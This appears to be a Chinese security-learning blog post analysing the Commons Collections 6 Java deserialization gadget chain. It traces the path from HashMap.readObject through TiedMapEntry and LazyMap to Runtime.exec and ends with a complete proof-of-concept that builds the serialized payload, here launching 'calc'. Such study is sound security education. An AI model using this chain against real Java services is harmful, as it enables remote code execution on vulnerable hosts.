1、前言
- 由于CC1,CC3等对JDK版本有限制,那么在真实场景中利用,很难符合版本要求。那么有没有一条链可以不限制JDK版本?答案是肯定的。CC6这条链不限制JDK版本,只要满足commons collections <=3.2.1即可。
- CC6后半段是从Lazymap类开始的。这边借用白日梦组长的图,红色这条链路就是CC6

2、分析
前面说到,CC6后半段是从Lazymap类开始,这在CC1中已经学习过。那么现在我们只需要分析前半段链。直接从LazyMap的get方法开始分析。(ysoserial的CC1链后半段)
- LazyMap类的构造方法是protected的,无法直接new实例化,但有着public的静态方法decorate(),这个方法返回了一个LazyMap类对象。

- 通过decorate()方法实例化LazyMap,并调用其get方法,成功执行命令。

- 目的是反序列化执行命令,当然需要继续往上找,ysoserial的作者找到了TiedMapEntry类。TiedMapEntry类的hashCode方法调用了getValue(),getValue又调用了get方法。


- 那么就可以用TiedMapEntry的hashCode方法调用LazyMap的get方法。可以看到成功执行命令

- 看到hashCode方法,根据之前URLDNS链的学习,我们应该有所想法了。HashMap的readObject方法中,有着putVal(hash(key), key, value, false, false);这行代码调用了hash(key)方法。而HashMap类的hash方法调用了hashCode()。其中key的值是从readObject获取的。


- 序列化时可以用HashMap的put方法传key,但HashMap的put方法会返回putVal(hash(key), key, value, false, true),导致提前走完流程。

- 直接使用HashMap类的put方法来试试,可以成功执行命令。

- HashMap的put方法会提前调用hash方法,在序列化前就执行命令,需要做出调整。可以在LazyMap.decorate的时候,我们传入一个无用的Transformer对象。如:new ConstantTransformer("1");在put完后通过反射修改LazyMap对象,传入正常的ChainedTransformer。

- 但当我们运行后,什么都没发生。跟进调试,发现LazyMap类这边有个判断,if (map.containsKey(key) == false)。这里
为true,无法进入判断调用Transformer。
- 那么需要在hashMap.put之后,把lazymap的key删掉。这样就可以成功执行命令。

3、总结
利用链如下:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整的POC如下:
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(),new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
System.out.println(tiedMapEntry);
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry, "1");
lazymap.remove("aaa");
Class<?> c = Class.forName("org.apache.commons.collections.map.LazyMap");
Field dec = c.getDeclaredField("factory");
dec.setAccessible(true);
dec.set(lazymap, transformerChain);
serialize(map1);
unserialize("ser.bin");
} }
4、参考
https://www.bilibili.com/video/BV1yP4y1p7N7
https://github.com/phith0n/JavaThings?tab=readme-ov-file
评论(0)